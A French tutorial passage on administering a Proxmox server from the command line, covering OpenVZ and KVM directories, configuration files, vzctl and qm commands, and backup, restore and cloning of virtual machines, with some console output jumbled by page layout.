Nous retrouvons nos deux conteneurs, c’est-à-dire les machines OpenVZ, mais pas la machine KVM. Si nous entrons dans le dossier 100 et que nous inspectons son contenu, nous retrouvons l’arborescence de la machine virtuelle. root@proxmox:/var/lib/vz# cd private/100 root@proxmox:/var/lib/vz/private/100# ls -l total 72 drwxr-xr-x 2 root root 4096 Apr 3 08:57 bin drwxr-xr-x 2 root root 4096 Sep 23 2012 boot drwxr-xr-x 4 root root 4096 Apr 4 05:38 dev drwxr-xr-x 57 root root 4096 Apr 4 05:48 etc drwxr-xr-x 3 root root 4096 Apr 4 05:48 home drwxr-xr-x 8 root root 4096 Oct 22 12:01 lib drwxr-xr-x 2 root root 4096 Oct 22 11:58 media drwxr-xr-x 2 root root 4096 Sep 23 2012 mnt drwxr-xr-x 2 root root 4096 Oct 22 11:58 opt drwxr-xr-x 2 root root 4096 Sep 23 2012 proc drwx------ 2 root root 4096 Mar 31 13:44 root drwxr-xr-x 2 root root 4096 Oct 22 12:01 sbin drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux drwxr-xr-x 2 root root 4096 Oct 22 11:58 srv drwxr-xr-x 2 root root 4096 Mar 27 2012 sys drwxrwxrwt 4 root root 4096 Apr 4 08:44 tmp drwxr-xr-x 10 root root 4096 Oct 22 11:58 usr drwxr-xr-x 14 root root 4096 Apr 4 05:27 var root@proxmox:/var/lib/vz/private/100#

C’est l’un des principes d’OpenVZ. Nous pouvons travailler directement sur le disque de tous les conteneurs OpenVZ sans même démarrer les machines, ou encore directement alors qu’elles sont en fonctionnement. Ceci est très souple car il est possible de modifier les fichiers de configuration des services sans même s’identifier sur la machine concernée.

Attention, le dossier /var/lib/vz/private/100 contient l’arborescence de la machine qui sera montée dans /var/lib/vz/root/100 quand la machine sera démarrée. Pour ce qui est de la machine KVM, nous trouvons une image de son disque dans /var/lib/vz/images/500. root@proxmox:~# ls -l /var/lib/vz/images/500 total 0 -rw-r--r-- 1 root root 10737418240 Apr 4 08:53 vm-500-disk-1.raw root@proxmox:~#

L’image iso que nous avons déposée sur le serveur se trouve quant à elle dans /var/lib/vz/template/iso. root@proxmox:~# ls -l /var/lib/vz/template/iso/ total 616084 -rw------- 1 root root 630245376 Apr 1 05:51 WinXP3_VL.iso root@proxmox:~#

Quant au modèle de la Debian-6.0, nous le trouvons dans /var/lib/vz/template/cache. root@proxmox:~# ls -l /var/lib/vz/template/cache/ total 140744 -rw-r--r-- 1 root root 143972544 Oct 22 12:10 debian-6.0standard_6.0-6_i386.tar.gz root@proxmox:~#

Nous ne pouvons pas ici détailler tout le contenu du disque dur du serveur mais seulement les emplacements qui nous semblent les plus importants. Ce qui vient naturellement ensuite est donc le dossier où est stockée la configuration des machines. Celle-ci se trouve dans /etc/pve, ainsi que la configuration du serveur. Dans le sous-dossier openvz, nous trouvons les deux fichiers de configuration de nos conteneurs. root@proxmox:~# ls -l /etc/pve total 4 -rw-r----- 1 root www-data 451 Jan 2 12:04 authkey.pub -rw-r----- 1 root www-data 13 Jan 2 12:03 datacenter.cfg lrwxr-x--- 1 root www-data 0 Jan 1 1970 local -> nodes/proxmox drwxr-x--- 2 root www-data 0 Jan 2 12:04 nodes lrwxr-x--- 1 root www-data 0 Jan 1 1970 openvz -> nodes/proxmox/openvz drwx------ 2 root www-data 0 Jan 2 12:04 priv -rw-r----- 1 root www-data 1533 Jan 2 12:04 pve-root-ca.pem -rw-r----- 1 root www-data 1675 Jan 2 12:04 pve-www.key lrwxr-x--- 1 root www-data 0 Jan 1 1970 qemu-server -> nodes/proxmox/qemu-server -rw-r----- 1 root www-data 139 Apr 1 10:22 storage.cfg -rw-r----- 1 root www-data 54 Jan 2 18:23 user.cfg -rw-r----- 1 root www-data 119 Jan 2 12:04 vzdump.cron root@proxmox:~# ls /etc/pve/openvz/ -l total 2 -rw-r----- 1 root www-data 966 Apr 3 11:20 100.conf -rw-r----- 1 root www-data 968 Apr 3 11:36 102.conf root@proxmox:~#

Inspectons par curiosité le fichier de configuration de la machine 100 avec notre éditeur préféré. Voici son contenu : ONBOOT="no" PHYSPAGES="0:512M" SWAPPAGES="0:512M" KMEMSIZE="232M:256M" DCACHESIZE="116M:128M" LOCKEDPAGES="256M" PRIVVMPAGES="unlimited" SHMPAGES="unlimited" NUMPROC="unlimited" VMGUARPAGES="0:unlimited" OOMGUARPAGES="0:unlimited" NUMTCPSOCK="unlimited" NUMFLOCK="unlimited" NUMPTY="unlimited" NUMSIGINFO="unlimited" TCPSNDBUF="unlimited" TCPRCVBUF="unlimited" OTHERSOCKBUF="unlimited" DGRAMRCVBUF="unlimited" NUMOTHERSOCK="unlimited" NUMFILE="unlimited" NUMIPTENT="unlimited" # Disk quota parameters (in form of softlimit:hardlimit) DISKSPACE="4G:4613734" DISKINODES="800000:880000" QUOTATIME="0" QUOTAUGIDLIMIT="0" # CPU fair scheduler parameter CPUUNITS="1000" CPUS="1" HOSTNAME="WEB1.Labo" SEARCHDOMAIN="Labo" NAMESERVER="8.8.8.8" NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:AE,host_ifname=veth100.0,host _mac=26:5F:0D:2B:4A:52,bridge=vmbr0" VE_ROOT="/var/lib/vz/root/$VEID" VE_PRIVATE="/var/lib/vz/private/100" OSTEMPLATE="debian-6.0-standard_6.0-6_i386.tar.gz"

Nous constatons que nous retrouvons l’ensemble des paramètres que nous avons réglés à l’aide de l’interface web. Il est préférable de ne pas modifier les options manuellement dans le fichier, sauf dans des cas particuliers. Nous verrons dans le point suivant qu’il existe des commandes spécialisées pour cela. Voilà pour les principaux dossiers. Nous constatons la souplesse d’OpenVZ. Voyons à présent comment administrer les machines directement en ligne de commande sur le serveur.

c. Les commandes utiles Nous partons du principe dans cette section que nous sommes connectés en console sur notre serveur en tant qu’administrateur root. Nous avons donc face à nous une invite de commande et allons explorer quelques éléments d’administration des machines virtuelles. Il existe deux commandes principales : vzctl pour contrôler les machines d’OpenVZ et qm pour les machines KVM. Mais avant de rentrer dans l’administration de celles-ci, il est intéressant de pouvoir les lister. La commande vzlist nous permet de lister les conteneurs OpenVZ actuellement en fonctionnement. Si nous voulons lister l’ensemble des conteneurs, il faut ajouter l’option -a. Pour KVM, ce sera la commande qm list. root@proxmox:~# root@proxmox:~# CTID 100 102 103 root@proxmox:~# VMID NAME 500 Win1 root@proxmox:~#

vzlist vzlist -a NPROC STATUS IP_ADDR - stopped - stopped - stopped qm list STATUS MEM(MB) stopped 512

HOSTNAME WEB1.Labo WEB2 WEB3 BOOTDISK(GB) PID 10.00 0

Nous visualisons bien l’ensemble de nos machines virtuelles et leur état actuel. Nous avons aussi leur nom et leur ID. Démarrons à présent la première machine WEB1.Labo. Celle-ci a pour ID 100 et c’est ce paramètre qu’il faudra passer à la commande vzctl avec l’action souhaitée sur la VM. Ce sera la même chose pour la machine KVM d’ID 500 dans laquelle nous avons installé un système Windows en utilisant la commande qm. Voici ce que cela donne. root@proxmox:~# vzctl start 100 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth100.0 Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 Container start in progress... root@proxmox:~# vzlist CTID NPROC STATUS IP_ADDR HOSTNAME 100 71 running WEB1.Labo root@proxmox:~# qm start 500 root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 running 512 10.00 16881 root@proxmox:~#

Il est tout aussi facile de stopper ces machines avec les commandes : vzctl stop 100 qm stop 101root@proxmox:~# vzctl stop 100 Stopping container ... Container was stopped Container is unmounted

root@proxmox:~# qm stop 500 root@proxmox:~#

Il est aussi très facile d’entrer dans une VM OpenVZ depuis le serveur. Nous avons déjà vu que l’arborescence du disque était accessible, mais nous pouvons aller plus loin en s’identifiant directement comme administrateur (root) sur une VM OpenVZ. Pour cela, il faut utiliser la commande vzctl enter ID après avoir bien évidemment démarré la machine. Voici un exemple : root@proxmox:~# vzctl start 100 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth100.0 Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 Container start in progress... root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# more /etc/apt/sources.list deb http://ftp.debian.org/debian squeeze main contrib deb http://ftp.debian.org/debian squeeze-updates main contrib deb http://security.debian.org squeeze/updates main contrib

Nous constatons que nous obtenons bien une invite de commande en tant qu’utilisateur root sur la machine WEB1 et que celle-ci est bien une Debian squeeze comme l’indiquent les dépôts déclarés dans son fichier sources.list. Notre machine a normalement été déclarée avec une interface réseau en pont (Bridge), il est donc possible de configurer celle-ci pour un accès Internet. Par exemple, si nous disposons pour cette connexion d’un serveur DHCP, c’est alors très simple. Il nous est alors possible de mettre à jour le système d’exploitation de la VM. Par la suite, nous pourrons installer tous les services dont nous avons besoin. Cet accès à la VM directement depuis une connexion SSH sur le serveur est bien plus souple que la console Java de l’interface web. Mais il arrive parfois que nous n’ayons pas le choix. Réalisons la manipulation que nous venons de décrire. root@WEB1:/# dhclient eth0 root@WEB1:/# aptitude update Hit http://ftp.debian.org squeeze Release.gpg Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze/main Translation-en Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B] Ign http://security.debian.org/ squeeze/updates/contrib Translation-en Ign http://security.debian.org/ squeeze/updates/main Translation-en Get:2 http://ftp.debian.org squeeze-updates Release.gpg [836 B] Ign http://ftp.debian.org/debian/ squeeze-updates/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze-updates/main Translation-en Hit http://ftp.debian.org squeeze Release

Get:3 http://security.debian.org squeeze/updates Release [87.0 kB] Get:4 http://ftp.debian.org squeeze-updates Release [113 kB] Get:5 http://security.debian.org squeeze/updates/main i386 Packages [386 kB] Hit http://ftp.debian.org squeeze/main i386 Packages Hit http://ftp.debian.org squeeze/contrib i386 Packages Hit http://ftp.debian.org squeeze-updates/main i386 Packages/DiffIndex Get:6 http://ftp.debian.org squeeze-updates/contrib i386 Packages [20 B] Get:7 http://ftp.debian.org squeeze-updates/main i386 Packages [4493 B] Get:8 http://security.debian.org squeeze/updates/contrib i386 Packages [621 B] Fetched 593 kB in 1s (482 kB/s) root@WEB1:/# aptitude full-upgrade No packages will be installed, upgraded, or removed. 0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B of archives. After unpacking 0 B will be used. root@WEB1:/#

Voilà, nous disposons d’une Debian Squeeze flambant neuve et prête à être utilisée. La souplesse d’OpenVZ permet aussi de modifier la configuration des machines virtuelles alors que celles-ci sont en fonctionnement. Si par exemple nous trouvons que la taille du disque dur que nous avions initialement choisie est insuffisante, il est possible de l’augmenter en une seule commande. Dans la manipulation suivante, nous allons :    

Visualiser la taille actuelle du disque dur de la WM d’ID 100. Sortir de la VM. Modifier la taille du disque en la montant à 6 Go. Entrer à nouveau dans la VM et contrôler la nouvelle taille du disque.

Toutes ces opérations vont être effectuées sans arrêter la machine. Si des services étaient fournis à des usagers, ceux-ci n’auraient subi aucune interruption de service. La commande qui permet de modifier les paramètres de la machine est : vzctl set $IDVM$ --$paramètre$ $valeur$ --$option$

Réalisons l’opération : root@proxmox:~# vzctl entered into CT 100 root@WEB1:/# df -h Filesystem /dev/simfs tmpfs tmpfs root@WEB1:/# exit logout

enter 100 Size 4.0G 256M 256M

Used Avail Use% Mounted on 440M 3.6G 11% / 0 256M 0% /lib/init/rw 0 256M 0% /dev/shm

exited from CT 100 root@proxmox:~# vzctl set 100 --diskspace 6G:6G --save CT configuration saved to /etc/pve/openvz/100.conf root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/simfs 6.0G 440M 5.6G 8% / tmpfs 256M 0 256M 0% /lib/init/rw tmpfs 256M 0 256M 0% /dev/shm root@WEB1:/#

Nous constatons bien que la taille du disque dur de notre VM vient de passer à 6 Go. L’option --save passée en fin de commande indique que nous souhaitons conserver cette modification dans le fichier de configuration. Ceci rendra pérenne cette nouvelle taille de disque. Cela veut dire aussi qu’il est possible de changer temporairement la taille d’un disque mais de ne pas conserver ce changement. Dans ce cas, le disque aura retrouvé sa taille initiale au prochain redémarrage de la VM. Pour la taille du disque, deux paramètres séparés par deux points ont été indiqués. C’est parce qu’il existe deux limites de disque à indiquer : une limite logicielle (soft) et une limite matérielle (hard). La différence, sans entrer dans les détails, est que la limite logicielle peut être dépassée temporairement. Il est possible de faire aussi des modifications sur la mémoire, le temps processeur alloué, le nombre de cœurs de processeur, les interfaces réseau, etc. Il est impossible de voir toutes les possibilités ici. Elles sont très nombreuses. De l’aide est disponible sur chaque option de vzctl. Listons ces options : root@proxmox:~# vzctl --help vzctl version 4.0-4.git.162dded Copyright (C) 2000-2012, Parallels, Inc. This program may be distributed under the terms of the GNU GPL License. Usage: vzctl [options] [parameters] vzctl create [--ostemplate ] [--config ] [--layout ploop|simfs] [--hostname ] [--name ] [--ipadd ] [--diskspace ] [--private ] [--root ] vzctl start [--force] [--wait] vzctl destroy | mount | umount | stop | restart | status vzctl quotaon | quotaoff | quotainit vzctl console [ttyno] vzctl enter [--exec [arg ...]] vzctl exec | exec2 [arg ...] vzctl runscript vzctl chkpnt [--dumpfile ] vzctl restore [--dumpfile ] vzctl set [--save] [--force] [--setmode restart|ignore] [--ram [KMG]] [--swap [KMG]] [--ipadd ] [--ipdel |all] [--hostname ] [--nameserver ] [--searchdomain ] [--onboot yes|no] [--bootorder ] [--userpasswd :] [--cpuunits ] [--cpulimit ] [--cpus ] [--cpumask ] [--diskspace [:]] [--diskinodes [:]]

[--quotatime ] [--quotaugidlimit ] [--mount_opts [,...]] [--capability :on|off ...] [--devices b|c:major:minor|all:r|w|rw] [--devnodes device:r|w|rw|none] [--netif_add ] [--netif_del ] [--applyconfig ] [--applyconfig_map ] [--features ] [--name ] [--ioprio ] [--pci_add [:]:.] [--pci_del ] [--iptables ] [--disabled ] [UBC parameters] UBC parameters (N - items, P - pages, B - bytes): Two numbers divided by colon means barrier:limit. In case the limit is not given it is set to the same value as the barrier. --numproc N[:N] --numtcpsock N[:N] --numothersock N[:N] --vmguarpages P[:P] --kmemsize B[:B] --tcpsndbuf B[:B] --tcprcvbuf B[:B] --othersockbuf B[:B] --dgramrcvbuf B[:B] --oomguarpages P[:P] --lockedpages P[:P] --privvmpages P[:P] --shmpages P[:P] --numfile N[:N] --numflock N[:N] --numpty N[:N] --numsiginfo N[:N] --dcachesize N[:N] --numiptent N[:N] --physpages P[:P] --avnumproc N[:N] --swappages P[:P] root@proxmox:~#

La dernière opération que nous allons voir avec la commande vzctl est la création d’un conteneur. Pour pouvoir créer le conteneur, il faut régler un minimum d’informations comme la taille du disque dur, le nombre maximal d’inodes, etc. Le plus simple est de reprendre le fichier de configuration d’une machine similaire et d’ajuster les nouveaux paramètres suivant ce que l’on désire. Nous commençons par copier le fichier de configuration de la machine d’ID 100 dans 110.conf avec la commande suivante : cp /etc/pve/openvz/100.conf /etc/pve/openvz/110.conf

Nous éditons ensuite ce nouveau fichier, avec nano par exemple, pour effectuer quelques modifications. Voici le nouveau fichier de configuration pour la machine d’ID 110. ONBOOT="no" PHYSPAGES="0:512M" SWAPPAGES="0:512M" KMEMSIZE="232M:256M" DCACHESIZE="116M:128M" LOCKEDPAGES="256M" PRIVVMPAGES="unlimited" SHMPAGES="unlimited" NUMPROC="unlimited" VMGUARPAGES="0:unlimited" OOMGUARPAGES="0:unlimited" NUMTCPSOCK="unlimited" NUMFLOCK="unlimited" NUMPTY="unlimited" NUMSIGINFO="unlimited"

TCPSNDBUF="unlimited" TCPRCVBUF="unlimited" OTHERSOCKBUF="unlimited" DGRAMRCVBUF="unlimited" NUMOTHERSOCK="unlimited" NUMFILE="unlimited" NUMIPTENT="unlimited" # Disk quota parameters (in form of softlimit:hardlimit) DISKSPACE="2097152:2097152" DISKINODES="800000:880000" QUOTATIME="0" QUOTAUGIDLIMIT="0" # CPU fair scheduler parameter CPUUNITS="1000" CPUS="1" HOSTNAME="WEB10" SEARCHDOMAIN="Labo" NAMESERVER="8.8.8.8" NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:BB,host_ifname=veth110.0, host_mac=26:5F:0D:2B:4A:55,bridge=vmbr0" VE_ROOT="/var/lib/vz/root/110" VE_PRIVATE="/var/lib/vz/private/110" OSTEMPLATE="debian-6.0-standard_6.0-6_i386" NAME="WEB3"

Les variables importantes qu’il faut absolument modifier pour éviter tout conflit entre les machines sont :    

HOSTNAME : que nous avons modifiée en WEB10. NETIF : pour laquelle nous avons changé les deux MAC et surtout, nous avons déclaré le pont en veth110.0. VE_ROOT et VE_PRIVATE qui pointent vers les nouveaux dossiers avec un chemin finissant par 110 pour rester cohérent avec l’ID de la machine. NAME : qui a été ajouté et prend le nom WEB10.

Nous avons aussi modifié la variable DISKSPACE pour créer un disque de 2 Go, mais ce n’était pas obligatoire. Voilà, tout est prêt pour créer la nouvelle machine, la démarrer puis s’identifier comme administrateur sur celle-ci pour vérifier qu’elle fonctionne parfaitement. root@proxmox:~# cp /etc/pve/openvz/103.conf /etc/pve/openvz/110.conf root@proxmox:~# nano /etc/pve/openvz/110.conf root@proxmox:~# vzctl create 110 --ostemplate debian-6.0standard_6.0-6_i386 --hostname WEB10 --name WEB10 Name WEB10 assigned Creating container private area (debian-6.0-standard_6.0-6_i386) Performing postcreate actions CT configuration saved to /etc/pve/openvz/110.conf Container private area was created root@proxmox:~# vzctl start 110 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth110.0 Adding interface veth110.0 to bridge vmbr0 on CT0 for CT110

Container start in progress... root@proxmox:~# vzctl enter 110 entered into CT 110 root@WEB10:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/simfs 2.0G 383M 1.7G 19% / tmpfs 256M 0 256M 0% /lib/init/rw tmpfs 256M 0 256M 0% /dev/shm root@WEB10:/#

Nous n’irons pas plus loin avec la commande vzctl mais la puissance de celle-ci n’est plus à démontrer. Une autre opération qu’il est aussi intéressant de savoir faire en ligne de commande est la sauvegarde et la restauration des VM. Pour cela, nous disposons de deux commandes :  

vzdump : qui permet la sauvegarde d’une machine OpenVZ. vzrestore : qui permet de restaurer une machine sauvegardée.

Effectuons la sauvegarde de la machine d’ID 100. Comme avec l’interface web, nous choisissons de stopper la machine pour la sauvegarder et prendrons une compression GZIP. Ces paramètres seront à passer en arguments à la commande ainsi que le dossier de destination de la sauvegarde ; voici ce que cela donne : root@proxmox:~# ls /var/lib/vz/dump/dump/ vzdump-openvz-100-2013_04_03-09_51_12.log vzdump-openvz-1002013_04_03-09_51_12.tar.gz root@proxmox:~# vzdump 100 -compress gzip -dumpdir /va/lib/vz/dump -mode stop dumpdir ’/va/lib/vz/dump’ does not exist root@proxmox:~# vzdump 100 -compress gzip -dumpdir /var/lib/vz/dump/dump -mode stop INFO: starting new backup job: vzdump 100 --dumpdir /var/lib/vz/dump/dump --mode stop --compress gzip INFO: Starting Backup of VM 100 (openvz) INFO: CTID 100 exist mounted running INFO: status = running INFO: backup mode: stop INFO: ionice priority: 7 INFO: stopping vm INFO: Stopping container ... INFO: Container was stopped INFO: Container is unmounted INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-openvz-1002013_04_04-10_04_22.tar.gz’ INFO: Total bytes written: 421713920 (403MiB, 11MiB/s) INFO: archive file size: 170MB INFO: delete old backup ’/var/lib/vz/dump/dump/vzdump-openvz-1002013_04_03-09_51_12.tar.gz’ INFO: CTID 100 exist unmounted down INFO: restarting vm INFO: Starting container ... INFO: Container is mounted INFO: Setting CPU units: 1000 INFO: Setting CPUs: 1 INFO: Configure veth devices: veth100.0 INFO: Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 INFO: Container start in progress...

INFO: vm is online again after 44 seconds INFO: Finished Backup of VM 100 (00:00:44) INFO: Backup job finished successfully root@proxmox:~# ls /var/lib/vz/dump/dump vzdump-openvz-100-2013_04_04-10_04_22.log vzdump-openvz-1002013_04_04-10_04_22.tar.gz root@proxmox:~#

Nous constatons que notre nouvelle sauvegarde a effacé l’ancienne. Il faut donc prendre garde. En effet, nous n’avons pas précisé l’option -maxfiles dans notre commande et celle-ci est réglée par défaut à 1. Pour restaurer la machine, rien de plus simple : root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-1002013_04_04-10_04_22.tar.gz 100 -force cant overwrite mounted container root@proxmox:~# vzctl stop 100 Stopping container ... Container was stopped Container is unmounted root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-1002013_04_04-10_04_22.tar.gz 100 -force you choose to force overwriting VPS config file, private and root directories. extracting archive ’/var/lib/vz/dump/dump/vzdump-openvz-1002013_04_04-10_04_22.tar.gz’ tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ contrib_binary-i386_Packages: time stamp 2013-04-04 16:01:14 is 21186.107918382 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ Release: time stamp 2013-04-04 16:01:27 is 21199.106609008 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeezeupdates_main_binary-i386_Packages: time stamp 2013-04-05 04:02:45 is 64477.105968429 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeezeupdates_Release.gpg: time stamp 2013-04-05 04:22:11 is 65643.105881268 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeezeupdates_Release: time stamp 2013-04-05 04:22:11 is 65643.104792032 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeezeupdates_contrib_binary-i386_Packages: time stamp 2013-04-05 04:12:07 is 65039.101766534 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_main _binary-i386_Packages: time stamp 2013-04-04 16:01:08 is 21180.07657332 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ Release.gpg: time stamp 2013-04-04 16:01:27 is 21199.074864738 s in the future Total bytes read: 421713920 (403MiB, 42MiB/s) restore configuration to ’/etc/pve/nodes/proxmox/openvz/100.conf’ vzquota : (warning) Quota file exists, it will be overwritten root@proxmox:~#

Nous avons volontairement fait deux erreurs dans les deux premières commandes. Premièrement, nous constatons que si le conteneur existe, il faut forcer sa restauration. Deuxièmement, il faut que le conteneur soit stoppé pour le restaurer. Lors de cette opération dans l’interface web nous avions parlé du clonage d’une machine, ce qui est tout simple en ligne de commande. Il faut tout simplement restaurer une sauvegarde dans un autre conteneur et le tour est joué. Pour le moment, nous nous sommes principalement intéressés aux conteneurs OpenVZ. Passons à la gestion des machines KVM. Si nous regardons la liste des commandes de qm, nous constatons qu’elles sont assez nombreuses. root@proxmox:~# qm help USAGE: qm [ARGS] [OPTIONS] qm config qm create [OPTIONS] qm delsnapshot [OPTIONS] qm destroy [OPTIONS] qm list qm migrate [OPTIONS] qm reset [OPTIONS] qm resize [OPTIONS] qm resume [OPTIONS] qm rollback qm sendkey [OPTIONS] qm set [OPTIONS] qm shutdown [OPTIONS] qm snapshot [OPTIONS] qm start [OPTIONS] qm stop [OPTIONS] qm suspend [OPTIONS] qm template [OPTIONS] qm unlink {} [OPTIONS] qm help [] [OPTIONS] qm monitor qm mtunnel qm rescan [OPTIONS] qm showcmd qm status [OPTIONS] qm unlock qm vncproxy qm wait [OPTIONS] root@proxmox:~#

Nous pouvons comme avec OpenVZ démarrer et arrêter les machines à l’aide des commandes start et stop. root@proxmox:~# status: stopped root@proxmox:~# root@proxmox:~# status: running root@proxmox:~# root@proxmox:~#

qm status 500 qm start 500 qm status 500 qm stop 500

Attention ici, l’option stop arrête brutalement la machine contrairement à OpenVZ ; ceci n’est pas toujours recommandé. Il vaut mieux envoyer un signal d’arrêt à la machine avec la commande shutdown. Pour créer une machine KVM, il faut utiliser la commande qm create. Mais celle-ci dispose d’un très grand nombre d’options. Il suffit de voir la commande qui permet de lancer la VM pour s’en rendre compte : root@proxmox:~# qm showcmd 500 /usr/bin/kvm -id 500 -chardev socket,id=qmp,path=/var/run/ qemu-server/500.qmp,server,nowait -mon chardev=qmp,mode=control -vnc unix:/var/run/qemu-server/500.vnc,x509,password -pidfile /var/run/qemu-server/500.pid -daemonize -name Win1 -smp sockets=1,cores=1 -nodefaults -boot menu=on -vga cirrus -k fr -m 512 -cpuunits 1000 -device piix3-usb-uhci,id=uhci,bus=pci.0, addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3 -drive file=/var/lib/vz/template/iso/WinXP3_VL.iso,if=none, id=drive-ide2,media=cdrom,aio=native -device ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2, bootindex=200 -drive file=/var/lib/vz/images/500/vm-500disk-1.raw,if=none,id=drive-ide0,aio=native,cache=none -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0, bootindex=100 -netdev type=tap,id=net0,ifname=tap500i0, script=/var/lib/qemu-server/pve-bridge -device rtl8139,mac=82:EE:6A:BE:82:DA,netdev=net0,bus=pci.0, addr=0x12,id=net0,bootindex=300 -rtc driftfix=slew, base=localtime -machine accel=tcg root@proxmox:~#

Pour ne pas faire d’erreur et obtenir une machine bien configurée, le plus simple est soit de passer par l’interface web, soit de cloner une machine semblable à celle que nous voulons créer et de modifier ses paramètres par la suite. Commençons par effectuer une sauvegarde de la machine 500 : root@proxmox:~# vzdump 500 -compress gzip -dumpdir /var/lib/vz/dump/dump/ -mode stop INFO: starting new backup job: vzdump 500 --dumpdir /var/lib/vz/dump/dump/ --mode stop --compress gzip INFO: Starting Backup of VM 500 (qemu) INFO: status = stopped INFO: backup mode: stop INFO: ionice priority: 7 INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-qemu-5002013_04_04-11_12_15.vma.gz’ INFO: starting kvm to execute backup task INFO: started backup task ’5fd8b493-2164-493e-889c-7f12036cb626’ INFO: status: 22% (2416574464/10737418240), sparse 22% (2416570368), duration 3, 805/0 MB/s INFO: status: 44% (4777705472/10737418240), sparse 44% (4777701376), duration 6, 787/0 MB/s INFO: status: 66% (7173570560/10737418240), sparse 66% (7173566464), duration 9, 798/0 MB/s INFO: status: 88% (9539878912/10737418240), sparse 88% (9539874816), duration 12, 788/0 MB/s INFO: status: 100% (10737418240/10737418240), sparse 99% (10737414144), duration 14, 598/0 MB/s INFO: transferred 10737 MB in 14 seconds (766 MB/s)

INFO: stopping kvm after backup task INFO: archive file size: 402KB INFO: Finished Backup of VM 500 (00:00:17) INFO: Backup job finished successfully root@proxmox:~# ls /var/lib/vz/dump/dump/ -lh total 172M -rw-r--r-- 1 root root 886 Apr 4 10:05 vzdump-openvz-1002013_04_04-10_04_22.log -rw-r--r-- 1 root root 171M Apr 4 10:05 vzdump-openvz-1002013_04_04-10_04_22.tar.gz -rw-r--r-- 1 root root 1.2K Apr 4 11:12 vzdump-qemu-5002013_04_04-11_12_15.log -rw-r--r-- 1 root root 403K Apr 4 11:12 vzdump-qemu-5002013_04_04-11_12_15.vma.gz root@proxmox:~#

Créons à présent une VM sans aucun paramètre : root@proxmox:~# qm create 501 root@proxmox:~# ls /etc/pve/qemu-server 500.conf 501.conf root@proxmox:~# more /etc/pve/qemu-server/501.conf root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 501 VM 501 stopped 0 0.00 0

Nous constatons que la VM 501 est bien créée, mais elle a un nom par défaut, ne dispose pas de mémoire RAM ni de disque dur et que son fichier de configuration est vide. Mais comme cette VM existe à présent, il est possible de restaurer la sauvegarde de la VM 500 dessus. root@proxmox:~# qmrestore /var/lib/vz/dump/dump/vzdump-qemu-5002013_04_04-11_12_15.vma.gz 501 -force -unique 1 restore vma archive: zcat /var/lib/vz/dump/dump/vzdump-qemu-5002013_04_04-11_12_15.vma.gz|vma extract -v -r /var/tmp/vzdumptmp27332.fifo - /var/tmp/vzdumptmp27332 CFG: size: 259 name: qemu-server.conf DEV: dev_id=1 size: 10737418240 devname: drive-ide0 CTIME: Thu Apr 4 11:12:16 2013 Formatting ’/var/lib/vz/images/501/vm-501-disk-1.raw’, fmt=raw size=10737418240 new volume ID is ’local:501/vm-501-disk-1.raw’ map ’drive-ide0’ to ’/var/lib/vz/images/501/vm-501-disk-1.raw’ (write zeros = 0) progress 1% (read 107413504 bytes, duration 0 sec) progress 2% (read 214761472 bytes, duration 0 sec) progress 3% (read 322174976 bytes, duration 0 sec) progress 4% (read 429522944 bytes, duration 0 sec) progress 5% (read 536870912 bytes, duration 0 sec) progress 6% (read 644284416 bytes, duration 0 sec) progress 7% (read 751632384 bytes, duration 0 sec) progress 8% (read 859045888 bytes, duration 0 sec) progress 9% (read 966393856 bytes, duration 0 sec) progress 10% (read 1073741824 bytes, duration 0 sec) progress 11% (read 1181155328 bytes, duration 0 sec) progress 12% (read 1288503296 bytes, duration 0 sec) ... progress 98% (read 10522722304 bytes, duration 1 sec) progress 99% (read 10630070272 bytes, duration 1 sec)

progress 100% (read 10737418240 bytes, duration 1 sec) total bytes read 10737418240, sparse bytes 10737414144 (100%) space reduction due to 4K zero bocks 1.5e+03% root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 501 Win1 stopped 512 10.00 0 root@proxmox:~#

Nous constatons bien que la VM d’ID 501 présente une mémoire RAM de 512 Mo et un disque dur de 10 Go après restauration. Le problème est qu’elle possède le même nom que la machine 500. Changeons celui-ci. root@proxmox:~# qm set 501 -name Win2 root@proxmox:~# qm list VMID NAME STATUS 500 Win1 stopped 501 Win2 stopped root@proxmox:~#

